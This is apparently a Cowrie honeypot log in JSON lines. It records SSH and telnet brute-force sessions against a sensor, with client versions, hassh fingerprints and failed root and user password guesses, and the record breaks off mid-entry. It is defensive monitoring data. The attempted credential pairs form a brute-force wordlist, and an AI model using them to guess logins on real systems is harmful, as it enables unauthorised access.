{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:39.477765Z","src_ip":"194.36.147.215","session":"d6014227b904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beijing_china","password":"beijing123","message":"login attempt [beijing_china/beijing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:39.746889Z","src_ip":"194.36.147.215","session":"d6014227b904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:40.838521Z","src_ip":"194.36.147.215","session":"d6014227b904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":38988,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6296079023d","protocol":"ssh","message":"New connection: 181.116.220.251:38988 (159.203.135.109:22) [session: d6296079023d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:50.561832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:50.565404Z","src_ip":"181.116.220.251","session":"d6296079023d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:50.718753Z","src_ip":"181.116.220.251","session":"d6296079023d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbdtnbr","message":"login attempt [root/ghbdtnbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:51.368876Z","src_ip":"181.116.220.251","session":"d6296079023d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:48:52.525136Z","src_ip":"181.116.220.251","session":"d6296079023d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56102,"dst_ip":"159.203.135.109","dst_port":22,"session":"746bfd032120","protocol":"ssh","message":"New connection: 103.153.68.219:56102 (159.203.135.109:22) [session: 746bfd032120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:03.166366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:03.174125Z","src_ip":"103.153.68.219","session":"746bfd032120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:03.423446Z","src_ip":"103.153.68.219","session":"746bfd032120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mark123","message":"login attempt [root/mark123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:04.176257Z","src_ip":"103.153.68.219","session":"746bfd032120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.811835050582886,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:04.368083Z","src_ip":"170.64.224.25","session":"8fd39efac5b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:05.428818Z","src_ip":"103.153.68.219","session":"746bfd032120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53926,"dst_ip":"159.203.135.109","dst_port":23,"session":"81943536a591","protocol":"telnet","message":"New connection: 170.64.224.25:53926 (159.203.135.109:23) [session: 81943536a591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:14.489827Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51444,"dst_ip":"159.203.135.109","dst_port":22,"session":"69be2a6fe564","protocol":"ssh","message":"New connection: 159.65.58.200:51444 (159.203.135.109:22) [session: 69be2a6fe564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:22.109182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:22.306621Z","src_ip":"159.65.58.200","session":"69be2a6fe564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:22.309702Z","src_ip":"159.65.58.200","session":"69be2a6fe564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shalaev","password":"123456","message":"login attempt [shalaev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:23.506446Z","src_ip":"159.65.58.200","session":"69be2a6fe564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:24.800518Z","src_ip":"159.65.58.200","session":"69be2a6fe564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.25.72","src_port":38302,"dst_ip":"159.203.135.109","dst_port":22,"session":"68403e028357","protocol":"ssh","message":"New connection: 154.221.25.72:38302 (159.203.135.109:22) [session: 68403e028357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:44.998045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:45.003269Z","src_ip":"154.221.25.72","session":"68403e028357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:45.210829Z","src_ip":"154.221.25.72","session":"68403e028357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"davy","password":"davy","message":"login attempt [davy/davy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:46.059751Z","src_ip":"154.221.25.72","session":"68403e028357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":58814,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeea4d9321a7","protocol":"ssh","message":"New connection: 80.94.92.55:58814 (10.17.0.5:22) [session: aeea4d9321a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:47.074999Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:47.269061Z","src_ip":"154.221.25.72","session":"68403e028357","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:47.716541Z","src_ip":"80.94.92.55","session":"aeea4d9321a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:47.719204Z","src_ip":"80.94.92.55","session":"aeea4d9321a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:50.107683Z","src_ip":"80.94.92.55","session":"aeea4d9321a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.215.164.223","src_port":43264,"dst_ip":"10.17.0.5","dst_port":22,"session":"727429f447c8","protocol":"ssh","message":"New connection: 185.215.164.223:43264 (10.17.0.5:22) [session: 727429f447c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:50.904568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:50.908571Z","src_ip":"185.215.164.223","session":"727429f447c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:51.000527Z","src_ip":"185.215.164.223","session":"727429f447c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*()!@","message":"login attempt [root/admin@#$%^&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:51.278162Z","src_ip":"185.215.164.223","session":"727429f447c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:52.028348Z","src_ip":"80.94.92.55","session":"aeea4d9321a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:49:52.373087Z","src_ip":"185.215.164.223","session":"727429f447c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":37006,"dst_ip":"10.17.0.5","dst_port":22,"session":"df16412c07a6","protocol":"ssh","message":"New connection: 50.6.173.74:37006 (10.17.0.5:22) [session: df16412c07a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:35.953920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:35.959910Z","src_ip":"50.6.173.74","session":"df16412c07a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:35.988261Z","src_ip":"50.6.173.74","session":"df16412c07a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gavin456","message":"login attempt [root/gavin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:36.068786Z","src_ip":"50.6.173.74","session":"df16412c07a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:37.097047Z","src_ip":"50.6.173.74","session":"df16412c07a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":56796,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cc1a2472fa0","protocol":"ssh","message":"New connection: 23.88.42.180:56796 (10.17.0.5:22) [session: 3cc1a2472fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:41.622305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:50:41.627078Z","src_ip":"23.88.42.180","session":"3cc1a2472fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","e